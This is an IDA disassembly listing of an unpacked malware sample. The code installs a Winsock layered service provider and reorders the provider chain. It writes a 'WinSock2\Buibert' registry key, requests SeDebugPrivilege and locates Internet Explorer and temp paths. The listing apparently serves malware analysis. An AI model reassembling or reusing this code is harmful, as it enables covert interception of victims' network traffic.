;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	BD21209BFDEC0BF09533CEF4120E4C6A

; File Name   :	u:\work\bd21209bfdec0bf09533cef4120e4c6a_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00005000 (  20480.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_0		segment	para public 'CODE' use32
		assume cs:_0
		;org 401000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
dword_401000	dd 77DD5D20h, 77DF7311h, 77DDA595h, 77DD23D7h ;	DATA XREF: sub_401FD0+11r
					; sub_401FD0+2Br ...
dword_401010	dd 77DD590Bh		; DATA XREF: sub_401630+8Er
					; sub_4017D0+76r
dword_401014	dd 77DD22EAh, 77DD189Ah, 0 ; DATA XREF:	sub_4017D0+29r
					; sub_402240-6EBr ...
off_401020	dd offset sub_41E15D	; DATA XREF: sub_4014A0+14r
off_401024	dd offset sub_41E33E	; DATA XREF: sub_4014A0+29r
dword_401028	dd 77E77CCEh		; DATA XREF: sub_4014F0+FEr
					; sub_401630+159r
dword_40102C	dd 77E79C90h		; DATA XREF: sub_401FD0+Ar
dword_401030	dd 77E61BE6h		; DATA XREF: sub_4022F0+2A6r
dword_401034	dd 77E6177Ah		; DATA XREF: _0:00402952r
dword_401038	dd 77E74672h		; DATA XREF: sub_4014F0+D9r
					; sub_401630+133r
dword_40103C	dd 77E6AD34h, 41DF18h	; DATA XREF: sub_402240-68Dr
					; sub_402240-725r ...
off_401044	dd offset sub_41E254	; DATA XREF: sub_402240-72Cr
					; sub_401D20+A8r ...
dword_401048	dd 77E704FCh, 77E705B0h, 77E760B5h, 77E7105Fh, 77E6CA8Ah
					; DATA XREF: sub_402240-74Fr
					; sub_401D20+75r ...
		dd 77F5157Dh, 0
dword_401064	dd 73E3A217h, 73DD51E8h, 73DD9C2Bh, 73DE14F8h, 73DDB5A5h
					; DATA XREF: sub_4026ECr sub_4026F2r ...
		dd 73DE0CCAh, 73DE06C6h, 73DE0245h, 73DD13B3h, 73DD48DEh
		dd 73E2EBC3h, 73DE747Fh, 73DD11D4h, 73DD2583h, 73DD1194h
		dd 73DD13D0h, 73DD9144h, 2 dup(73DD7129h), 73E2EB8Ch, 73DD1A47h
		dd 73E2E633h, 73DE6A75h, 73E2E66Bh, 73E2E62Dh, 73E2E671h
		dd 73E2E610h, 2	dup(73DD17E0h),	73DD7129h, 73DE3F13h, 73E2E639h
		dd 73DD223Ch, 73E487C6h, 73DDAFAFh, 73DD3876h, 73DE75A1h
		dd 73E2BDF8h, 73E77FD8h
dword_401100	dd 73DDB4ACh		; DATA XREF: sub_402A44r
dword_401104	dd 73DD1083h, 73DD7331h, 73DE0352h, 73DE068Fh, 73DD6C18h
					; DATA XREF: sub_4026E0r sub_4026DAr ...
		dd 73DE6CDDh, 73E28E89h, 73DD3941h, 73E68253h, 73DD3EB0h
		dd 73DD198Eh, 73E2BDE5h, 73DEA37Eh, 73DD403Bh, 73DD191Ch
		dd 73DD38C4h, 73DD7129h, 73E3A49Dh, 0
dword_401150	dd 77C4A658h		; DATA XREF: sub_4029DAr
dword_401154	dd 77C33EB0h		; DATA XREF: sub_4029D4r
dword_401158	dd 77C33632h		; DATA XREF: _0:0040287Br
dword_40115C	dd 77C1EB68h		; DATA XREF: _0:00402890r
dword_401160	dd 77C1EB4Ah		; DATA XREF: _0:0040289Er
dword_401164	dd 77C5D388h		; DATA XREF: _0:004028ACr
dword_401168	dd 77C48F60h		; DATA XREF: _0:004028CAr
dword_40116C	dd 77C379DBh		; DATA XREF: sub_4029B8r
dword_401170	dd 77C1E909h		; DATA XREF: _0:00402903r
dword_401174	dd 77C5C7A8h		; DATA XREF: _0:0040291Br
dword_401178	dd 77C37ADCh		; DATA XREF: _0:00402986r
dword_40117C	dd 77C31269h		; DATA XREF: sub_4029B2r
dword_401180	dd 77C37AEEh, 77C2EFFDh	; DATA XREF: _0:004029A6r
					; sub_402A04+1Cr
dword_401188	dd 77C43CB2h		; DATA XREF: sub_4014F0+C5r
					; sub_401630+EEr
dword_40118C	dd 77C43C88h		; DATA XREF: sub_401630+FFr
; ---------------------------------------------------------------------------


loc_401190:				; DATA XREF: sub_402810+Dr
		div	byte ptr [eax]
		retn
; ---------------------------------------------------------------------------
		ja	short near ptr byte_4011D5 ; DATA XREF:	sub_4029ACr
		xor	ebx, eax
		ja	short loc_40119F ; DATA	XREF: sub_401FA0+Ar
		mov	edi, 0D8F677C3h	; DATA XREF: sub_401FA0+1Br
		retn
; ---------------------------------------------------------------------------


loc_40119F:				; CODE XREF: _0:00401197j
					; DATA XREF: sub_401F80+2r
		ja	short near ptr byte_4011ED
		push	0FFFFFFC4h
		ja	short near ptr dword_401104+21h	; DATA XREF: sub_401F80+9r
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------


loc_4011A8:				; DATA XREF: sub_402800r
		fcomp	dword ptr [edx]
		retn	4677h		; DATA XREF: sub_4017D0+A6r
					; sub_4017D0+171r
; ---------------------------------------------------------------------------
		lodsb
		retn	6B77h		; DATA XREF: sub_4017D0+149r
					; sub_4017D0+21Cr
; ---------------------------------------------------------------------------
		stosb
		retn	77h
; ---------------------------------------------------------------------------
		align 4
dword_4011B8	dd 77CDC9B5h		; DATA XREF: sub_401630+98r
dword_4011BC	dd 77CD8989h		; DATA XREF: sub_401630+67r
dword_4011C0	dd 77CC7CB6h		; DATA XREF: sub_401630+51r
		align 8
dword_4011C8	dd 71AB6738h		; DATA XREF: sub_4029E6r
dword_4011CC	dd 71ABFE48h		; DATA XREF: sub_4029E0r
		dd 0
byte_4011D4	db 0			; DATA XREF: _0:0040290Eo
byte_4011D5	db 3 dup(0)		; CODE XREF: _0:00401193j
		dd offset loc_402A2D
		dd offset loc_402130
		dd offset loc_402170
		dd offset loc_402230
dword_4011E8	dd 0			; DATA XREF: _0:00402909o
byte_4011EC	db 0			; DATA XREF: _0:004028DBo
byte_4011ED	db 3 dup(0)		; CODE XREF: _0:loc_40119Fj
dword_4011F0	dd 4 dup(0)		; DATA XREF: _0:004028D6o
aWscwriteprovid	db 'WSCWriteProviderOrder',0 ; DATA XREF: sub_4014A0+23o
		align 4
aSporder_dll	db 'sporder.dll',0      ; DATA XREF: sub_4014A0:loc_4014AFo
					; sub_4022F0+1B3o
aSoftwareWinsoc	db 'SOFTWARE\WinSock2\Buibert',0 ; DATA XREF: sub_4017D0+1Fo
					; sub_4017D0+6Co
		align 10h
off_401240	dd offset loc_41004C	; DATA XREF: sub_4014F0+12o
aYered_provider:
		unicode	0, <YERED_PROVIDER>,0
		align 4
off_401264	dd offset loc_41004C	; DATA XREF: sub_401630+9r
dword_401268	dd 450059h		; DATA XREF: sub_401630+23r
dword_40126C	dd 450052h		; DATA XREF: sub_401630+Er
dword_401270	dd 200044h		; DATA XREF: sub_401630+1Er
word_401274	dw 0			; DATA XREF: sub_401630+33r
		align 4
aInternetExplor	db '\internet explorer',0 ; DATA XREF: sub_402240-655o
		align 4
aProgramfilesdi	db 'ProgramFilesDir',0  ; DATA XREF: sub_402240-6C8o
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_402240-6F9o
		align 4
asc_4012C8:				; DATA XREF: sub_402640+9o
		unicode	0, <\>,0
aR:					; DATA XREF: sub_401FA0+4o
		unicode	0, <r>,0
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_401FD0+24o
		align 4
aDll		db 'DLL',0              ; DATA XREF: sub_4022F0+222o
					; sub_4022F0+270o
aRsvp32_2_dll	db 'rsvp32_2.dll',0     ; DATA XREF: sub_4022F0+1E5o
					; sub_4022F0:loc_40259Co
		align 4
aPersonnel	db 'personnel ',0       ; DATA XREF: sub_4022F0+12Ao
		align 4
aGobmccpsmrmggc	db ' gobmccpsmrmggcomcenldrg',0 ; DATA XREF: sub_4022F0+11Co
		align 10h
aLaboratory	db 'Laboratory ',0      ; DATA XREF: sub_4022F0+D4o
aNrlqomhqibqjsq	db ' nrlqomhqibqjsqderqpkghlrk',0 ; DATA XREF: sub_4022F0+C6o
		align 4
a1992		db '1992 ',0            ; DATA XREF: sub_4022F0+7Eo
		align 10h
aHsebnfmsqijorf	db ' hsebnfmsqijorfjooonckehpdp',0 ; DATA XREF: sub_4022F0+70o
aEndedIn	db 'ended in ',0        ; DATA XREF: sub_4022F0+2Ao
		align 4
aNjosphlbmombii	db ' njosphlbmombiifgomrkdmdfgr',0 ; DATA XREF: sub_4022F0+1Ao
		align 10h
dword_4013A0	dd 1			; DATA XREF: _0:004028BDr
		align 8
off_4013A8	dd offset loc_4020A0	; DATA XREF: sub_4020B0o
		dd offset dword_4013B0
dword_4013B0	dd 111h, 0		; DATA XREF: _0:004013ACo
		dd 2 dup(0E146h), 0Ch, 402680h,	6 dup(0)
off_4013E0	dd offset loc_4027B2	; DATA XREF: sub_402140-76o
		dd offset loc_402100
		dd offset nullsub_3
		dd offset nullsub_4
		dd offset nullsub_3
		dd offset sub_4027AC
		dd offset sub_4027A6
		dd offset sub_4027A0
		dd offset sub_40279A
		dd offset sub_402794
		dd offset sub_40278E
		dd offset sub_402788
		dd offset sub_4020B0
		dd offset sub_402782
		dd offset sub_40277C
		dd offset sub_402776
		dd offset sub_402770
		dd offset sub_40276A
		dd offset sub_402764
		dd offset sub_40275E
		dd offset sub_402758
		dd offset sub_402752
		dd offset sub_4022F0
		dd offset sub_40274C
		dd offset sub_402746
		dd offset sub_402740
		dd offset sub_40273A
		dd offset sub_402734
		dd offset sub_40272E
		dd offset sub_402728
		dd offset sub_402722
		dd offset sub_40271C
		dd offset sub_402716
		dd offset sub_402710
		dd offset sub_40270A
		dd offset sub_402704
		dd offset sub_4026FE
		dd offset sub_4026F8
		dd offset sub_4026F2
		dd offset sub_4026EC
		dd offset sub_4026E6
		align 8
dword_401488	dd 0FFFFFFFFh, 40298Ch,	4029A0h, 3 dup(0) ; DATA XREF: _0:00402853o

; =============== S U B	R O U T	I N E =======================================



sub_4014A0	proc near		; CODE XREF: sub_4017D0+Fp
		mov	eax, dword_403000
		test	eax, eax
		jz	short loc_4014AF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4014AF:				; CODE XREF: sub_4014A0+7j
		push	offset aSporder_dll ; "sporder.dll"
		call	off_401020
		test	eax, eax
		mov	dword_403000, eax
		jz	short loc_4014DE
		push	offset aWscwriteprovid ; "WSCWriteProviderOrder"
		push	eax
		call	off_401024
		xor	ecx, ecx
		mov	dword_402FE0, eax
		test	eax, eax
		setnz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4014DE:				; CODE XREF: sub_4014A0+21j
		xor	eax, eax
		retn
sub_4014A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014F0	proc near		; CODE XREF: sub_4017D0+83p

var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 280h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	eax, edi
		xor	esi, esi
		push	offset off_401240
		mov	[ebp+var_4], edi
		mov	ecx, [eax]
		mov	[ebp+var_280], esi
		mov	[ebp+var_26C], ecx
		mov	[ebp+var_27C], esi
		mov	edx, [eax+4]
		mov	[ebp+var_278], esi
		mov	[ebp+var_268], edx
		mov	[ebp+var_274], esi
		mov	ecx, [eax+8]
		mov	[ebp+var_270], 4
		mov	[ebp+var_264], ecx
		mov	[ebp+var_25C], esi
		mov	edx, [eax+0Ch]
		mov	eax, 10h
		mov	[ebp+var_230], eax
		mov	[ebp+var_22C], eax
		lea	eax, [ebp+var_20C]
		mov	[ebp+var_260], edx
		push	eax
		mov	[ebp+var_258], esi
		mov	[ebp+var_238], esi
		mov	[ebp+var_234], 2
		mov	[ebp+var_228], 1
		mov	[ebp+var_224], 6
		mov	[ebp+var_220], esi
		mov	[ebp+var_21C], esi
		mov	[ebp+var_218], esi
		mov	[ebp+var_214], esi
		mov	[ebp+var_210], esi
		call	dword_401188	; wcscpy
		mov	eax, [edi+10h]
		add	esp, 8
		cmp	eax, esi
		mov	[ebp+var_8], eax
		jz	short loc_4015F9
		push	eax
		call	dword_401038	; lstrlen
		mov	edi, eax
		inc	edi
		lea	eax, [edi+edi]
		add	eax, 3
		and	al, 0FCh
		call	sub_4027D0
		mov	ecx, [ebp+var_8]
		mov	ebx, esp
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ecx
		push	esi
		push	esi
		mov	[ebx], si
		call	dword_401028	; MultiByteToWideChar
		mov	edi, [ebp+var_4]
		mov	esi, ebx


loc_4015F9:				; CODE XREF: sub_4014F0+D6j
		lea	edx, [ebp+var_C]
		lea	eax, [ebp+var_280]
		push	edx
		push	1
		push	eax
		push	esi
		push	edi
		call	sub_4029E0	; WSCInstallProvider
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_25C]
		lea	esp, [ebp-28Ch]
		mov	[ecx], edx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4014F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401630	proc near		; CODE XREF: sub_4017D0+13Ap

var_2A8		= dword	ptr -2A8h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_234		= byte ptr -234h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2A8h
		mov	eax, off_401264
		mov	edx, dword_40126C
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	[ebp+var_28], eax
		mov	eax, dword_401270
		mov	ecx, dword_401268
		mov	[ebp+var_1C], eax
		mov	eax, [ebx+28h]
		push	esi
		mov	[ebp+var_24], ecx
		mov	cx, word_401274
		xor	esi, esi
		cmp	eax, 1
		push	edi
		mov	[ebp+var_20], edx
		mov	[ebp+var_18], cx
		jnz	loc_4017B5
		lea	edx, [ebp+var_14]
		push	edx
		call	dword_4011C0
		test	eax, eax
		jnz	loc_4017B5
		lea	eax, [ebp+arg_0]
		lea	ecx, [ebp+var_14]
		push	eax
		push	ecx
		call	dword_4011BC
		test	eax, eax
		jnz	loc_4017B5
		mov	ecx, [ebp+arg_0]
		lea	edx, [ebp+var_30]
		lea	eax, [ebp+var_34]
		push	edx
		mov	edx, [ebp+arg_8]
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	ecx
		push	edx
		call	dword_401010	; RegCreateKeyExA
		lea	eax, [ebp+arg_0]
		push	eax
		call	dword_4011B8
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		mov	ecx, 9Dh
		mov	esi, ebx
		lea	edi, [ebp+var_2A8]
		rep movsd
		mov	ecx, [ebp+var_14]
		mov	edi, [ebp+var_2A8]
		mov	[ebp+var_290], edx
		mov	[ebp+var_28C], eax
		lea	edx, [ebp+var_28]
		mov	[ebp+var_294], ecx
		mov	ecx, [ebp+var_8]
		lea	eax, [ebp+var_234]
		and	edi, 0FFFDFFFFh
		push	edx
		push	eax
		mov	[ebp+var_2A8], edi
		mov	[ebp+var_288], ecx
		call	dword_401188	; wcscpy
		lea	ecx, [ebx+74h]
		lea	edx, [ebp+var_234]
		push	ecx
		push	edx
		call	dword_40118C	; wcscat
		mov	edx, [ebp+var_4]
		mov	ecx, [ebx+24h]
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		mov	ebx, [edx+10h]
		mov	[ebp+var_280], 2
		test	ebx, ebx
		mov	[ebp+var_27C], eax
		mov	[ebp+var_278], ecx
		jnz	short loc_401762
		xor	edi, edi
		jmp	short loc_40178F
; ---------------------------------------------------------------------------


loc_401762:				; CODE XREF: sub_401630+12Cj
		push	ebx
		call	dword_401038	; lstrlen
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_4027D0
		mov	edi, esp
		push	esi
		push	edi
		push	0FFFFFFFFh
		push	ebx
		push	0
		push	0
		mov	word ptr [edi],	0
		call	dword_401028	; MultiByteToWideChar


loc_40178F:				; CODE XREF: sub_401630+130j
		lea	eax, [ebp+var_2C]
		lea	ecx, [ebp+var_2A8]
		push	eax
		push	1
		push	ecx
		lea	edx, [ebp+var_14]
		push	edi
		push	edx
		call	sub_4029E0	; WSCInstallProvider
		lea	esp, [ebp-2B4h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4017B5:				; CODE XREF: sub_401630+47j
					; sub_401630+59j ...
		lea	esp, [ebp-2B4h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_401630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4017D0	proc near		; CODE XREF: sub_4022F0+30Ap

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	edi, edi
		mov	ebx, ecx
		mov	[esp+28h+var_18], edi
		call	sub_4014A0
		lea	eax, [esp+28h+var_C]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSoftwareWinsoc ; "SOFTWARE\\WinSock2\\Buibert"
		push	80000002h
		call	dword_401014	; RegOpenKeyExA
		mov	edx, [esp+28h+arg_0]
		mov	eax, [esp+28h+arg_4]
		mov	ecx, ebx
		mov	[ecx], edx
		mov	edx, [esp+28h+arg_8]
		mov	[ecx+4], eax
		mov	eax, [esp+28h+arg_C]
		mov	[ecx+8], edx
		mov	[ecx+0Ch], eax
		mov	ecx, [esp+28h+arg_10]
		push	ecx
		lea	ecx, [ebx+10h]
		call	sub_402686
		lea	edx, [esp+28h+var_4]
		lea	eax, [esp+28h+var_C]
		push	edx
		push	eax
		push	edi
		push	0F003Fh
		push	edi
		push	edi
		push	edi
		push	offset aSoftwareWinsoc ; "SOFTWARE\\WinSock2\\Buibert"
		push	80000002h
		call	dword_401010	; RegCreateKeyExA
		lea	ecx, [esp+28h+var_14]
		push	ecx
		mov	ecx, ebx
		call	sub_4014F0
		test	eax, eax
		jnz	loc_4019FF
		lea	edx, [esp+28h+var_10]
		lea	eax, [esp+28h+var_18]
		push	edx
		push	eax
		push	edi
		push	edi
		call	sub_4029E6	; WSCEnumProtocols
		mov	ecx, [esp+28h+var_18]
		push	ecx
		call	dword ptr locret_4011AA+2
		mov	esi, eax
		add	esp, 4
		cmp	esi, edi
		mov	[esp+28h+arg_10], esi
		jz	loc_4019FF
		lea	edx, [esp+28h+var_10]
		lea	eax, [esp+28h+var_18]
		push	edx
		push	eax
		push	esi
		push	edi
		call	sub_4029E6	; WSCEnumProtocols
		cmp	eax, 0FFFFFFFFh
		jz	loc_4019FF
		cmp	eax, edi
		mov	[esp+28h+var_8], edi
		jle	loc_4019FF
		lea	edx, [esi+24h]
		mov	[esp+28h+arg_0], eax


loc_4018BA:				; CODE XREF: sub_4017D0+117j
		mov	ecx, 4
		mov	edi, ebx
		lea	esi, [edx-10h]
		xor	ebp, ebp
		repe cmpsd
		jnz	short loc_4018D8
		mov	ecx, [edx]
		mov	[esp+28h+var_8], 1
		mov	[esp+28h+var_14], ecx


loc_4018D8:				; CODE XREF: sub_4017D0+F8j
		mov	ecx, [esp+28h+arg_0]
		add	edx, 274h
		dec	ecx
		mov	[esp+28h+arg_0], ecx
		jnz	short loc_4018BA
		mov	ecx, [esp+28h+var_8]
		test	ecx, ecx
		jz	loc_4019FF
		mov	ebp, [esp+28h+arg_10]
		mov	edi, eax
		mov	esi, ebp


loc_4018FD:				; CODE XREF: sub_4017D0+146j
		mov	edx, [esp+28h+var_C]
		mov	eax, [esp+28h+var_14]
		push	edx
		push	eax
		push	esi
		mov	ecx, ebx
		call	sub_401630
		add	esi, 274h
		dec	edi
		jnz	short loc_4018FD
		push	ebp
		call	dword ptr locret_4011AE+2
		add	esp, 4
		lea	ecx, [esp+28h+var_10]
		lea	edx, [esp+28h+var_18]
		mov	[esp+28h+var_18], 0
		push	ecx
		push	edx
		push	0
		push	0
		call	sub_4029E6	; WSCEnumProtocols
		mov	eax, [esp+28h+var_18]
		mov	edi, dword ptr locret_4011AA+2
		push	eax
		call	edi
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		mov	[esp+28h+arg_10], ebp
		jz	loc_4019FF
		lea	ecx, [esp+28h+var_10]
		lea	edx, [esp+28h+var_18]
		push	ecx
		push	edx
		push	ebp
		push	0
		call	sub_4029E6	; WSCEnumProtocols
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FF
		lea	eax, ds:0[esi*4]
		push	eax
		call	edi
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4019FF
		xor	edx, edx
		test	esi, esi
		jle	short loc_4019E4
		mov	ecx, ebx
		lea	eax, [ebp+2Ch]
		mov	edi, esi


loc_401998:				; CODE XREF: sub_4017D0+1E9j
		cmp	dword ptr [eax-4], 1
		jle	short loc_4019B3
		mov	ebp, [esp+28h+var_14]
		cmp	[eax], ebp
		jnz	short loc_4019AF
		mov	ebp, [eax-8]
		inc	edx
		mov	[ecx], ebp
		add	ecx, 4


loc_4019AF:				; CODE XREF: sub_4017D0+1D4j
		mov	ebp, [esp+28h+arg_10]


loc_4019B3:				; CODE XREF: sub_4017D0+1CCj
		add	eax, 274h
		dec	edi
		jnz	short loc_401998
		test	esi, esi
		jle	short loc_4019E4
		lea	ecx, [ebx+edx*4]
		lea	eax, [ebp+2Ch]


loc_4019C5:				; CODE XREF: sub_4017D0+212j
		cmp	dword ptr [eax-4], 1
		jle	short loc_4019D3
		mov	edi, [esp+28h+var_14]
		cmp	[eax], edi
		jz	short loc_4019DC


loc_4019D3:				; CODE XREF: sub_4017D0+1F9j
		mov	edi, [eax-8]
		inc	edx
		mov	[ecx], edi
		add	ecx, 4


loc_4019DC:				; CODE XREF: sub_4017D0+201j
		add	eax, 274h
		dec	esi
		jnz	short loc_4019C5


loc_4019E4:				; CODE XREF: sub_4017D0+1BFj
					; sub_4017D0+1EDj
		push	edx
		push	ebx
		call	dword_402FE0
		mov	esi, dword ptr locret_4011AE+2
		push	ebp
		mov	[esp+2Ch+var_10], eax
		call	esi
		push	ebx
		call	esi
		add	esp, 8


loc_4019FF:				; CODE XREF: sub_4017D0+8Aj
					; sub_4017D0+B7j ...
		mov	ecx, [esp+28h+var_C]
		push	ecx
		call	dword_401014+4
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 18h
		retn	14h
sub_4017D0	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_402240


loc_401A20:				; CODE XREF: sub_402240+5j
		push	0FFFFFFFFh
		push	offset loc_402AB7
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 114h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+130h+var_114], esi
		call	sub_4026A4
		lea	ecx, [esi+4]
		mov	[esp+0F8h+arg_30], 0
		call	sub_4026A4
		lea	ebx, [esi+8]
		mov	byte ptr [esp+0F8h+arg_30], 1
		mov	ecx, ebx
		call	sub_4026A4
		lea	ebp, [esi+0Ch]
		mov	byte ptr [esp+0F8h+arg_30], 2
		mov	ecx, ebp
		call	sub_4026A4
		lea	ecx, [esi+10h]
		mov	byte ptr [esp+0F8h+arg_30], 3
		call	sub_4026A4
		lea	ecx, [esi+14h]
		mov	byte ptr [esp+0F8h+arg_30], 4
		call	sub_4026A4
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [esp+0F8h+var_D7]
		mov	[esp+0F8h+var_D8], 0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+0F8h+var_D8]
		push	104h
		push	eax
		mov	byte ptr [esp+100h+arg_30], 5
		mov	[esp+100h+var_E0], 104h
		call	dword_401048+4
		lea	ecx, [esp+0F8h+var_D8]
		mov	[esp+eax+0F8h+var_D8], 0
		push	ecx
		mov	ecx, esi
		call	sub_402686
		lea	edx, [esp+0F8h+var_D8]
		push	104h
		push	edx
		call	dword_401048	; GetSystemDirectoryA
		mov	[esp+eax+0F8h+var_D8], 0
		lea	eax, [esp+0F8h+var_D8]
		push	eax
		mov	ecx, ebx
		call	sub_402686
		lea	ecx, [esp+0F8h+var_D8]
		push	104h
		push	ecx
		push	0
		call	off_401044
		push	eax
		call	dword_40103C+4
		lea	edx, [esp+0F8h+var_D8]
		lea	ecx, [esi+10h]
		push	edx
		call	sub_402686
		xor	edi, edi
		mov	[esp+0F8h+var_E4], edi
		lea	eax, [esp+0F8h+var_E8]
		mov	byte ptr [esp+0F8h+arg_30], 6
		push	eax
		push	20019h
		push	edi
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+10Ch+var_E8], edi
		call	dword_401014	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_401B67
		mov	edi, [esp+0F8h+var_E8]
		mov	[esp+0F8h+var_E4], edi


loc_401B67:				; CODE XREF: sub_402240-6E3j
		lea	ecx, [esp+0F8h+var_E0]
		lea	edx, [esp+0F8h+var_D8]
		push	ecx
		lea	eax, [esp+0FCh+var_E8]
		push	edx
		push	eax
		push	0
		push	offset aProgramfilesdi ; "ProgramFilesDir"
		push	edi
		mov	[esp+110h+var_E8], 0
		call	dword_401000+0Ch
		test	edi, edi
		jz	short loc_401B9D
		push	edi
		call	dword_401014+4
		xor	edi, edi
		mov	[esp+110h+var_FC], edi


loc_401B9D:				; CODE XREF: sub_402240-6B2j
		lea	ecx, [esp+110h+var_F0]
		push	ecx
		mov	ecx, ebp
		call	sub_402686
		lea	edx, [esp+114h+var_F4]
		push	edx
		push	104h
		call	dword_40103C	; GetTempPathA
		lea	eax, [esp+11Ch+var_FC]
		lea	ecx, [esi+14h]
		push	eax
		call	sub_402686
		lea	ecx, [esi+14h]
		call	sub_40269E
		mov	ecx, ebx
		call	sub_40269E
		mov	ecx, esi
		call	sub_40269E
		mov	ecx, ebp
		call	sub_40269E
		lea	ecx, [esi+10h]
		call	sub_40269E
		push	offset aInternetExplor ; "\\internet explorer"
		lea	ecx, [esp+124h+var_110]
		push	ebp
		push	ecx
		call	sub_402698
		push	eax
		lea	ecx, [esi+4]
		mov	byte ptr [esp+130h], 7
		call	sub_402692
		lea	ecx, [esp+130h+var_120]
		mov	byte ptr [esp+130h+var_4], 6
		call	sub_40268C
		test	edi, edi
		jz	short loc_401C28
		push	edi
		call	dword_401014+4


loc_401C28:				; CODE XREF: sub_402240-621j
		mov	ecx, [esp+130h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 120h
		retn
; END OF FUNCTION CHUNK	FOR sub_402240
; ---------------------------------------------------------------------------
		align 10h


loc_401C50:				; CODE XREF: _0:00402AA7j
		push	esi
		mov	esi, ecx
